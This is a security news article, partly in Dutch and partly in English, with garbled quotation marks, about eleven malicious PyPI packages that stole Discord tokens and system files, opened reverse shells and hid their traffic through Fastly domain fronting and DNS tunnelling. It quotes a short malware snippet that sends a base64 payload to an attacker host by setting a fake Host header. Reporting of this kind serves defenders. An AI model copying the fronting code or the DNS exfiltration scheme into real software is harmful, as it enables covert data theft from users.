Kwaadaardige bibliotheken ontdekt in de PyPI-catalogus die CDN PyPI gebruiken om de communicatielijn te verbergen

In de PyPI-catalogus (Python Package Index) zijn 11 pakketten met kwaadaardige code ontdekt. Voordat de problemen werden vastgesteld, hadden de pakketten samen ongeveer 38.000 downloads behaald. De ontdekte kwaadaardige pakketten zijn opmerkelijk vanwege hun complexe methoden om communicatiekanalen met de servers van aanvallers te verbergen.

  • importantpackage (6305 downloads), important-package (12897) – maakten verbinding met een externe server onder het voorwendsel verbinding te maken met pypi.python.org om shell-toegang tot het systeem te bieden (reverse shell) en gebruikten het programma trevorc2 om het communicatiekanaal te verbergen.
  • pptest (10001), ipboards (946) – gebruikten DNS als communicatiekanaal om systeeminformatie te verzenden (in het eerste pakket de hostnaam, werkdirectory, interne en externe IP, in het tweede pakket de gebruikersnaam en hostnaam).
  • owlmoon (3285), DiscordSafety (557), yiffparty (1859) – identificeerden in het systeem het token van de Discord-service en stuurden dit naar een externe host.
  • trrfab (287) – stuurde het identificatienummer, de hostnaam en de inhoud van /etc/passwd, /etc/hosts, /home naar een externe host.
  • 10Cent10 (490) – stelde een reverse shell-verbinding in met een externe host.
  • yandex-yt (4183) – gaf een melding over de compromittering van het systeem weer en leidde door naar een pagina met aanvullende informatie over de volgende stappen, verstrekt via nda.ya.ru (api.ya.cc).

Bijzondere aandacht verdient de methode voor het benaderen van externe hosts, gebruikt in de pakketten importantpackage en important-package, die het content delivery network Fastly gebruikten om hun activiteiten te verbergen in de PyPI-catalogus. De verzoeken werden feitelijk verzonden naar de server pypi.python.org (waarbij ook python.org werd vermeld in SNI binnen het HTTPS-verzoek), maar in de HTTP-header 'Host' werd de naam van de server die door de aanvallers werd gecontroleerd (sec.forward.io.global.prod.fastly.net) opgesteld. Het content delivery network stuurde een dergelijk verzoek naar de server van de aanvallers en gebruikte bij het verzenden van gegevens de TLS-parameters van de verbinding met pypi.python.org.

De werking van de PyPI-infrastructuur wordt ondersteund door het content delivery network Fastly, waarin voor het cachen van standaardverzoeken een transparante Varnish-proxy wordt gebruikt, en ook de verwerking van TLS-certificaten op CDN-niveau plaatsvindt, en niet op de eindservers, om HTTPS-verzoeken via de proxy door te geven. Ongeacht de doelhost worden verzoeken naar de proxy gestuurd, die de juiste host bepaalt op basis van de HTTP-header 'Host', en domeinnamen Hosts are linked to standard Fastly IP addresses for all CDN load balancers.

The attacking server is also registered in the Fastly CDN, which offers free plans to anyone and even allows anonymous registration. Notably, a similar scheme is used to send requests to the victim when creating a ā€˜reverse shell’, but initiated from the attacker’s host. From the perspective of interaction with the attacking server, it appears as a legitimate session with the PyPI catalog, encrypted using TLS-certificaat PyPI. This technique, known as 'domain fronting', was previously actively used to conceal the host name when bypassing blocks, using the capability provided by some CDN networks to address over HTTPS while specifying a fake host in SNI and actually transmitting the name of the requested host in the HTTP Host header within the TLS session.

Kwaadaardige bibliotheken ontdekt in de PyPI-catalogus die CDN PyPI gebruiken om de communicatielijn te verbergen

To conceal malicious activity, the TrevorC2 package was also used, allowing the interaction with the server to resemble normal web browsing; for example, malicious requests were sent under the guise of downloading an image ā€˜https://pypi.python.org/images/guid=’ with encoded information in the guid parameter. url = ā€˜https://pypi.python.org’ + ā€˜/images’ + ā€˜?’ + ā€˜guid=’ + b64_payload r = request.Request(url, headers = {ā€˜Host’: ā€˜psec.forward.io.global.prod.fastly.net’})

In the pptest and ipboards packages, a different approach to conceal network activity was used, based on encoding useful information in requests to the DNS server. The malware transmits information by executing DNS queries of the form ā€˜nu4timjagq4fimbuhe.example.com’, in which the transmitted data to the command server is encoded in the subdomain name using base64 format. The attacker receives the message data by controlling the DNS server for the domain example.com.

Bron: opennet.ru

Koop betrouwbare webhosting met bescherming tegen DDoS, VPS VDS servers šŸ”„ Koop betrouwbare webhosting met bescherming tegen DDoS, VPS VDS servers | ProHoster